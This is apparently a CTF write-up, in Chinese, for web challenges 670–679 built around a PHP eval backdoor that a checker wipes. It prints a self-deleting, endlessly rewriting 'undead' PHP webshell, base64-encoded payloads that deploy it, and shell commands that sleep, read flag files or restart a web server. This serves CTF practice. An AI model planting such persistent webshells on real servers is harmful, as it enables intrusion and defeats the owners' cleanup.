web670-web676
源码
<?php
// 题目说明:
// 想办法维持权限,确定无误后提交check,通过check后,才会生成flag,此前flag不存在
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['action'];
switch($a){
case 'cmd':
eval($_POST['cmd']);
break;
case 'check':
file_get_contents("http://checker/api/check");
break;
default:
die('params not validate');
}
访问checker后具体执行操作没有代码🙃
根据其他人文章的猜测
服务器在监测到访问url后,就会写入flag,顺便删掉web目录所有文件。
echo 'flag{xxxx}' > /flag_xx.txt
rm -rf *
想办法维持住权限。
使用不死马,让服务器删不掉
<?php
ignore_user_abort(true);//设置客户端断开连接时是否中断脚本的执行
set_time_limit(0);//表示长时间链接运行,不限制运行时间
unlink(__FILE__);
$file = 'shell.php';
$code = '<?php @eval($_POST[1]);?>';
while (1) {
file_put_contents($file, $code);
usleep(5000);
}
?>
payload
cmd=file_put_contents('dontdie.php',base64_decode("PD9waHANCiAgICBpZ25vcmVfdXNlcl9hYm9ydCh0cnVlKTsNCiAgICBzZXRfdGltZV9saW1pdCgwKTsNCiAgICB1bmxpbmsoX19GSUxFX18pOw0KICAgICRmaWxlID0gJ3NoZWxsLnBocCc7DQogICAgJGNvZGUgPSAnPD9waHAgQGV2YWwoJF9QT1NUWzFdKTs%2FPic7DQogICAgd2hpbGUgKDEpIHsNCiAgICAgICAgZmlsZV9wdXRfY29udGVudHMoJGZpbGUsICRjb2RlKTsNCiAgICAgICAgdXNsZWVwKDUwMDApOw0KICAgIH0NCj8%2B"));
上传之后第一次访问dontdie.php会一直转圈,再访问就会发现文件已经不在了。
连接shell.php
访问?action=check后,会发现shell.php依然存在。
web677
web678
web目录没有写权限,无法写入不死马
突然发现已经能执行php代码了,直击执行不死马不行吗😅
前面题目的payload可以换成(没试过,但应该可以)
cmd=eval(base64_decode('ICAgIGlnbm9yZV91c2VyX2Fib3J0KHRydWUpOw0KICAgIHNldF90aW1lX2xpbWl0KDApOw0KICAgICRmaWxlID0gJ3NoZWxsLnBocCc7DQogICAgJGNvZGUgPSAnPD9waHAgQGV2YWwoJF9QT1NUWzFdKTs%2FPic7DQogICAgd2hpbGUgKDEpIHsNCiAgICAgICAgZmlsZV9wdXRfY29udGVudHMoJGZpbGUsICRjb2RlKTsNCiAgICAgICAgdXNsZWVwKDUwMDApOw0KICAgIH0NCj8%2B'));
但因为不死马也是靠循环写文件实现的,所以这里还是不行。
考虑使用循环命令执行或者延迟执行例如sleep,check只会删掉所有文件,而不会删掉进程
cmd=system('while true;do cat /f*;done');
cmd=system('sleep 10;cat /f*');
大多数PHP环境的最大执行时间是30秒
这里使用sleep方法
##web679
check后会关掉web服务
使用php -S命令开启web服务
cmd=system('sleep 10;ls > /dir;cd /;php -S 0.0.0.0:80');
把目录写入文件中,开启web服务后访问获取目录,再访问flag即可。
参考文章
https://blog.csdn.net/Jayjay___/article/details/132387118
https://blog.csdn.net/miuzzx/article/details/125521430